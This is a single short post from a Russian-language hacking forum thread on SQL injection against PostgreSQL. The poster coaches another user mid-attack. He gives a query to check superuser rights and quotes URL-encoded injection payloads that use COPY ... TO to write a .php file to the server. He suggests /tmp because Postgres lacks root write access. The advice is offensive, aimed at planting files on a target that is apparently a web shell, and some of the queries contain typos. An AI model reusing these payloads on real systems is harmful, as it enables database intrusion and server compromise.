Тема: Проведение SQL-Injection в PostgreSQL
Показать сообщение отдельно

  #16  
Старый 19.08.2009, 17:34
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию
узнать свои права
select usesuper from pg_users where usename=curent_user

Цитата:
COPY+aa+(b)+TO+$$/1.php$$--
ты пытаешься создать файл в корне системы, права на запись имеет только рут, естественно никто постгрес запускать от рута не будет
пробуй создать файл в /tmp для начала
Цитата:
COPY+aa+(b)+TO+$$/tmp/1.php$$--